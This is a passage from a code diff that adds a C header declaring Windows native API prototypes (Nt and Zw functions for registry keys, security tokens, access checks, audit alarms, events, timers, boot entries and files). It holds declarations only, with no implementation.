); + + +NTSTATUS +NTAPI +NtRenameKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING NewName + ); + + +NTSTATUS +NTAPI +NtCompactKeys( + IN ULONG Count, + IN HANDLE KeyArray[] + ); + + +NTSTATUS +NTAPI +NtCompressKey( + IN HANDLE Key + ); + + +NTSTATUS +NTAPI +NtRestoreKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtSaveKey( + IN HANDLE KeyHandle, + IN HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSaveKeyEx( + IN HANDLE KeyHandle, + IN HANDLE FileHandle, + IN ULONG Format + ); + + +NTSTATUS +NTAPI +NtSaveMergedKeys( + IN HANDLE HighPrecedenceKeyHandle, + IN HANDLE LowPrecedenceKeyHandle, + IN HANDLE FileHandle + ); + + +NTSTATUS +NTAPI +NtSetValueKey( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN OPTIONAL ULONG TitleIndex, + IN ULONG Type, + IN OPTIONAL PVOID Data, + IN ULONG DataSize + ); + + +NTSTATUS +NTAPI +NtUnloadKey( + IN POBJECT_ATTRIBUTES TargetKey + ); + + +NTSTATUS +NTAPI +NtUnloadKey2( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG Flags + ); + + +NTSTATUS +NTAPI +NtUnloadKeyEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN OPTIONAL HANDLE Event + ); + + +NTSTATUS +NTAPI +NtSetInformationKey( + IN HANDLE KeyHandle, + IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, + IN PVOID KeySetInformation, + IN ULONG KeySetInformationLength + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeys( + IN POBJECT_ATTRIBUTES TargetKey, + OUT PULONG HandleCount + ); + + +NTSTATUS +NTAPI +NtQueryOpenSubKeysEx( + IN POBJECT_ATTRIBUTES TargetKey, + IN ULONG BufferLength, + OUT PVOID Buffer, + OUT PULONG RequiredSize + ); + + +NTSTATUS +NTAPI +NtLockRegistryKey( + IN HANDLE KeyHandle + ); + + +NTSTATUS +NTAPI +NtLockProductActivationKeys( + IN OUT OPTIONAL ULONG *pPrivateVer, + OUT OPTIONAL ULONG *pSafeMode + ); + + +NTSTATUS +NTAPI +NtAccessCheck ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByType ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList ( + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + OUT PPRIVILEGE_SET PrivilegeSet, + IN OUT PULONG PrivilegeSetLength, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus + ); + + +NTSTATUS +NTAPI +NtCreateToken( + OUT PHANDLE TokenHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TOKEN_TYPE TokenType, + IN PLUID AuthenticationId, + IN PLARGE_INTEGER ExpirationTime, + IN PTOKEN_USER User, + IN PTOKEN_GROUPS Groups, + IN PTOKEN_PRIVILEGES Privileges, + IN OPTIONAL PTOKEN_OWNER Owner, + IN PTOKEN_PRIMARY_GROUP PrimaryGroup, + IN OPTIONAL PTOKEN_DEFAULT_DACL DefaultDacl, + IN PTOKEN_SOURCE TokenSource + ); + + +NTSTATUS +NTAPI +NtCompareTokens( + IN HANDLE FirstTokenHandle, + IN HANDLE SecondTokenHandle, + OUT PBOOLEAN Equal + ); + + +NTSTATUS +NTAPI +NtOpenThreadToken( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenThreadTokenEx( + IN HANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN BOOLEAN OpenAsSelf, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessToken( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtOpenProcessTokenEx( + IN HANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN ULONG HandleAttributes, + OUT PHANDLE TokenHandle + ); + + +NTSTATUS +NTAPI +NtDuplicateToken( + IN HANDLE ExistingTokenHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN EffectiveOnly, + IN TOKEN_TYPE TokenType, + OUT PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtFilterToken ( + IN HANDLE ExistingTokenHandle, + IN ULONG Flags, + IN OPTIONAL PTOKEN_GROUPS SidsToDisable, + IN OPTIONAL PTOKEN_PRIVILEGES PrivilegesToDelete, + IN OPTIONAL PTOKEN_GROUPS RestrictedSids, + OUT PHANDLE NewTokenHandle + ); + + +NTSTATUS +NTAPI +NtImpersonateAnonymousToken( + IN HANDLE ThreadHandle + ); + + +NTSTATUS +NTAPI +NtQueryInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + OUT PVOID TokenInformation, + IN ULONG TokenInformationLength, + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtSetInformationToken ( + IN HANDLE TokenHandle, + IN TOKEN_INFORMATION_CLASS TokenInformationClass, + IN PVOID TokenInformation, + IN ULONG TokenInformationLength + ); + + +NTSTATUS +NTAPI +NtAdjustPrivilegesToken ( + IN HANDLE TokenHandle, + IN BOOLEAN DisableAllPrivileges, + IN OPTIONAL PTOKEN_PRIVILEGES NewState, + IN OPTIONAL ULONG BufferLength, + OUT PTOKEN_PRIVILEGES PreviousState, + OUT OPTIONAL PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtAdjustGroupsToken ( + IN HANDLE TokenHandle, + IN BOOLEAN ResetToDefault, + IN PTOKEN_GROUPS NewState , + IN OPTIONAL ULONG BufferLength , + OUT PTOKEN_GROUPS PreviousState , + OUT PULONG ReturnLength + ); + + +NTSTATUS +NTAPI +NtPrivilegeCheck ( + IN HANDLE ClientToken, + IN OUT PPRIVILEGE_SET RequiredPrivileges, + OUT PBOOLEAN Result + ); + + +NTSTATUS +NTAPI +NtAccessCheckAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN ACCESS_MASK DesiredAccess, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarmByHandle ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN PSECURITY_DESCRIPTOR SecurityDescriptor, + IN OPTIONAL PSID PrincipalSelfSid, + IN ACCESS_MASK DesiredAccess, + IN AUDIT_EVENT_TYPE AuditType, + IN ULONG Flags, + IN POBJECT_TYPE_LIST ObjectTypeList, + IN ULONG ObjectTypeListLength, + IN PGENERIC_MAPPING GenericMapping, + IN BOOLEAN ObjectCreation, + OUT PACCESS_MASK GrantedAccess, + OUT PNTSTATUS AccessStatus, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtOpenObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN PUNICODE_STRING ObjectTypeName, + IN PUNICODE_STRING ObjectName, + IN OPTIONAL PSECURITY_DESCRIPTOR SecurityDescriptor, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN ACCESS_MASK GrantedAccess, + IN OPTIONAL PPRIVILEGE_SET Privileges, + IN BOOLEAN ObjectCreation, + IN BOOLEAN AccessGranted, + OUT PBOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegeObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN HANDLE ClientToken, + IN ACCESS_MASK DesiredAccess, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtCloseObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtDeleteObjectAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN OPTIONAL PVOID HandleId, + IN BOOLEAN GenerateOnClose + ); + + +NTSTATUS +NTAPI +NtPrivilegedServiceAuditAlarm ( + IN PUNICODE_STRING SubsystemName, + IN PUNICODE_STRING ServiceName, + IN HANDLE ClientToken, + IN PPRIVILEGE_SET Privileges, + IN BOOLEAN AccessGranted + ); + + +NTSTATUS +NTAPI +NtContinue ( + IN PCONTEXT ContextRecord, + IN BOOLEAN TestAlert + ); + + +NTSTATUS +NTAPI +NtRaiseException ( + IN PEXCEPTION_RECORD ExceptionRecord, + IN PCONTEXT ContextRecord, + IN BOOLEAN FirstChance + ); + +// end_ntapi + + +// begin_zwapi +NTSTATUS +NTAPI +ZwDelayExecution ( + IN BOOLEAN Alertable, + IN PLARGE_INTEGER DelayInterval + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + OUT PWSTR VariableValue, + IN USHORT ValueLength, + OUT OPTIONAL PUSHORT ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValue ( + IN PUNICODE_STRING VariableName, + IN PUNICODE_STRING VariableValue + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + OUT OPTIONAL PVOID Value, + IN OUT PULONG ValueLength, + OUT OPTIONAL PULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwSetSystemEnvironmentValueEx ( + IN PUNICODE_STRING VariableName, + IN LPGUID VendorGuid, + IN OPTIONAL PVOID Value, + IN ULONG ValueLength, + IN ULONG Attributes + ); + + + +NTSTATUS +NTAPI +ZwEnumerateSystemEnvironmentValuesEx ( + IN ULONG InformationClass, + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwAddBootEntry ( + IN PBOOT_ENTRY BootEntry, + OUT OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteBootEntry ( + IN ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyBootEntry ( + IN PBOOT_ENTRY BootEntry + ); + + + +NTSTATUS +NTAPI +ZwEnumerateBootEntries ( + OUT OPTIONAL PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryBootEntryOrder ( + OUT OPTIONAL PULONG Ids, + IN OUT PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetBootEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwQueryBootOptions ( + OUT OPTIONAL PBOOT_OPTIONS BootOptions, + IN OUT PULONG BootOptionsLength + ); + + + +NTSTATUS +NTAPI +ZwSetBootOptions ( + IN PBOOT_OPTIONS BootOptions, + IN ULONG FieldsToChange + ); + + + +NTSTATUS +NTAPI +ZwTranslateFilePath ( + IN PFILE_PATH InputFilePath, + IN ULONG OutputType, + OUT OPTIONAL PFILE_PATH OutputFilePath, + IN OUT OPTIONAL PULONG OutputFilePathLength + ); + + + +NTSTATUS +NTAPI +ZwAddDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry, + OUT OPTIONAL PULONG Id + ); + + + +NTSTATUS +NTAPI +ZwDeleteDriverEntry ( + IN ULONG Id + ); + + + +NTSTATUS +NTAPI +ZwModifyDriverEntry ( + IN PEFI_DRIVER_ENTRY DriverEntry + ); + + + +NTSTATUS +NTAPI +ZwEnumerateDriverEntries ( + OUT PVOID Buffer, + IN OUT PULONG BufferLength + ); + + + +NTSTATUS +NTAPI +ZwQueryDriverEntryOrder ( + OUT PULONG Ids, + IN OUT PULONG Count + ); + + + +NTSTATUS +NTAPI +ZwSetDriverEntryOrder ( + IN PULONG Ids, + IN ULONG Count + ); + + + +NTSTATUS +NTAPI +ZwClearEvent ( + IN HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN EVENT_TYPE EventType, + IN BOOLEAN InitialState + ); + + + +NTSTATUS +NTAPI +ZwOpenEvent ( + OUT PHANDLE EventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwPulseEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQueryEvent ( + IN HANDLE EventHandle, + IN EVENT_INFORMATION_CLASS EventInformationClass, + OUT PVOID EventInformation, + IN ULONG EventInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwResetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEvent ( + IN HANDLE EventHandle, + OUT OPTIONAL PLONG PreviousState + ); + + + +NTSTATUS +NTAPI +ZwSetEventBoostPriority ( + IN HANDLE EventHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwOpenEventPair ( + OUT PHANDLE EventPairHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowWaitHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighWaitLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetLowEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwSetHighEventPair ( + IN HANDLE EventPairHandle + ); + + + +NTSTATUS +NTAPI +ZwCreateMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN BOOLEAN InitialOwner + ); + + + +NTSTATUS +NTAPI +ZwOpenMutant ( + OUT PHANDLE MutantHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQueryMutant ( + IN HANDLE MutantHandle, + IN MUTANT_INFORMATION_CLASS MutantInformationClass, + OUT PVOID MutantInformation, + IN ULONG MutantInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseMutant ( + IN HANDLE MutantHandle, + OUT OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateSemaphore ( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN LONG InitialCount, + IN LONG MaximumCount + ); + + + +NTSTATUS +NTAPI +ZwOpenSemaphore( + OUT PHANDLE SemaphoreHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwQuerySemaphore ( + IN HANDLE SemaphoreHandle, + IN SEMAPHORE_INFORMATION_CLASS SemaphoreInformationClass, + OUT PVOID SemaphoreInformation, + IN ULONG SemaphoreInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwReleaseSemaphore( + IN HANDLE SemaphoreHandle, + IN LONG ReleaseCount, + OUT OPTIONAL PLONG PreviousCount + ); + + + +NTSTATUS +NTAPI +ZwCreateTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN TIMER_TYPE TimerType + ); + + + +NTSTATUS +NTAPI +ZwOpenTimer ( + OUT PHANDLE TimerHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwCancelTimer ( + IN HANDLE TimerHandle, + OUT OPTIONAL PBOOLEAN CurrentState + ); + + + +NTSTATUS +NTAPI +ZwQueryTimer ( + IN HANDLE TimerHandle, + IN TIMER_INFORMATION_CLASS TimerInformationClass, + OUT PVOID TimerInformation, + IN ULONG TimerInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetTimer ( + IN HANDLE TimerHandle, + IN PLARGE_INTEGER DueTime, + IN OPTIONAL PTIMER_APC_ROUTINE TimerApcRoutine, + IN OPTIONAL PVOID TimerContext, + IN BOOLEAN ResumeTimer, + IN OPTIONAL LONG Period, + OUT OPTIONAL PBOOLEAN PreviousState + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemTime ( + OUT PLARGE_INTEGER SystemTime + ); + + + +NTSTATUS +NTAPI +ZwSetSystemTime ( + IN OPTIONAL PLARGE_INTEGER SystemTime, + OUT OPTIONAL PLARGE_INTEGER PreviousTime + ); + + + +NTSTATUS +NTAPI +ZwQueryTimerResolution ( + OUT PULONG MaximumTime, + OUT PULONG MinimumTime, + OUT PULONG CurrentTime + ); + + + +NTSTATUS +NTAPI +ZwSetTimerResolution ( + IN ULONG DesiredTime, + IN BOOLEAN SetResolution, + OUT PULONG ActualTime + ); + + + +NTSTATUS +NTAPI +ZwAllocateLocallyUniqueId ( + OUT PLUID Luid + ); + + + +NTSTATUS +NTAPI +ZwSetUuidSeed ( + IN PCHAR Seed + ); + + + +NTSTATUS +NTAPI +ZwAllocateUuids ( + OUT PULARGE_INTEGER Time, + OUT PULONG Range, + OUT PULONG Sequence, + OUT PCHAR Seed + ); + + + +NTSTATUS +NTAPI +ZwCreateProfile ( + OUT PHANDLE ProfileHandle, + IN HANDLE Process OPTIONAL, + IN PVOID ProfileBase, + IN SIZE_T ProfileSize, + IN ULONG BucketSize, + IN PULONG Buffer, + IN ULONG BufferSize, + IN KPROFILE_SOURCE ProfileSource, + IN KAFFINITY Affinity + ); + + + +NTSTATUS +NTAPI +ZwStartProfile ( + IN HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwStopProfile ( + IN HANDLE ProfileHandle + ); + + + +NTSTATUS +NTAPI +ZwSetIntervalProfile ( + IN ULONG Interval, + IN KPROFILE_SOURCE Source + ); + + + +NTSTATUS +NTAPI +ZwQueryIntervalProfile ( + IN KPROFILE_SOURCE ProfileSource, + OUT PULONG Interval + ); + + + +NTSTATUS +NTAPI +ZwQueryPerformanceCounter ( + OUT PLARGE_INTEGER PerformanceCounter, + OUT OPTIONAL PLARGE_INTEGER PerformanceFrequency + ); + + + +NTSTATUS +NTAPI +ZwCreateKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN OPTIONAL POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG Flags + ); + + + +NTSTATUS +NTAPI +ZwOpenKeyedEvent ( + OUT PHANDLE KeyedEventHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwReleaseKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwWaitForKeyedEvent ( + IN HANDLE KeyedEventHandle, + IN PVOID KeyValue, + IN BOOLEAN Alertable, + IN OPTIONAL PLARGE_INTEGER Timeout + ); + + + +NTSTATUS +NTAPI +ZwQuerySystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + OUT OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwSetSystemInformation ( + IN SYSTEM_INFORMATION_CLASS SystemInformationClass, + IN OPTIONAL PVOID SystemInformation, + IN ULONG SystemInformationLength + ); + + + +NTSTATUS +NTAPI +ZwSystemDebugControl ( + IN SYSDBG_COMMAND Command, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwRaiseHardError ( + IN NTSTATUS ErrorStatus, + IN ULONG NumberOfParameters, + IN ULONG UnicodeStringParameterMask, + IN OPTIONAL PULONG_PTR Parameters, + IN ULONG ValidResponseOptions, + OUT PULONG Response + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultLocale ( + IN BOOLEAN UserProfile, + OUT PLCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultLocale ( + IN BOOLEAN UserProfile, + IN LCID DefaultLocaleId + ); + + + +NTSTATUS +NTAPI +ZwQueryInstallUILanguage ( + OUT LANGID *InstallUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwQueryDefaultUILanguage ( + OUT LANGID *DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultUILanguage ( + IN LANGID DefaultUILanguageId + ); + + + +NTSTATUS +NTAPI +ZwSetDefaultHardErrorPort( + IN HANDLE DefaultHardErrorPort + ); + + + +NTSTATUS +NTAPI +ZwShutdownSystem ( + IN SHUTDOWN_ACTION Action + ); + + + +NTSTATUS +NTAPI +ZwDisplayString ( + IN PUNICODE_STRING String + ); + + + +NTSTATUS +NTAPI +ZwAddAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwFindAtom ( + IN OPTIONAL PWSTR AtomName, + IN ULONG Length, + OUT OPTIONAL PRTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwDeleteAtom ( + IN RTL_ATOM Atom + ); + + + +NTSTATUS +NTAPI +ZwQueryInformationAtom( + IN RTL_ATOM Atom, + IN ATOM_INFORMATION_CLASS AtomInformationClass, + OUT OPTIONAL PVOID AtomInformation, + IN ULONG AtomInformationLength, + OUT OPTIONAL PULONG ReturnLength + ); + + + +NTSTATUS +NTAPI +ZwCancelIoFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwCreateNamedPipeFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN ULONG NamedPipeType, + IN ULONG ReadMode, + IN ULONG CompletionMode, + IN ULONG MaximumInstances, + IN ULONG InboundQuota, + IN ULONG OutboundQuota, + IN OPTIONAL PLARGE_INTEGER DefaultTimeout + ); + + + +NTSTATUS +NTAPI +ZwCreateMailslotFile ( + OUT PHANDLE FileHandle, + IN ULONG DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG CreateOptions, + IN ULONG MailslotQuota, + IN ULONG MaximumMessageSize, + IN PLARGE_INTEGER ReadTimeout + ); + + + +NTSTATUS +NTAPI +ZwDeleteFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + + +NTSTATUS +NTAPI +ZwFlushBuffersFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + + +NTSTATUS +NTAPI +ZwNotifyChangeDirectoryFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN ULONG CompletionFilter, + IN BOOLEAN WatchTree + ); + + + +NTSTATUS +NTAPI +ZwQueryAttributesFile ( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_BASIC_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryFullAttributesFile( + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PFILE_NETWORK_OPEN_INFORMATION FileInformation + ); + + + +NTSTATUS +NTAPI +ZwQueryEaFile ( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList, + IN ULONG EaListLength, + IN OPTIONAL PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSTATUS +NTAPI +ZwCreateFile ( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN OPTIONAL PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN OPTIONAL PVOID EaBuffer, + IN ULONG EaLength + ); + + + +NTSTATUS +NTAPI +ZwDeviceIoControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwFsControlFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG FsControlCode, + IN OPTIONAL PVOID InputBuffer, + IN ULONG InputBufferLength, + OUT OPTIONAL PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + + +NTSTATUS +NTAPI +ZwLockFile ( + IN HANDLE FileHandle, + IN OPTIONAL HANDLE Event, + IN OPTIONAL PIO_APC_ROUTINE ApcRoutine, + IN OPTIONAL PVOID ApcContext, + OUT 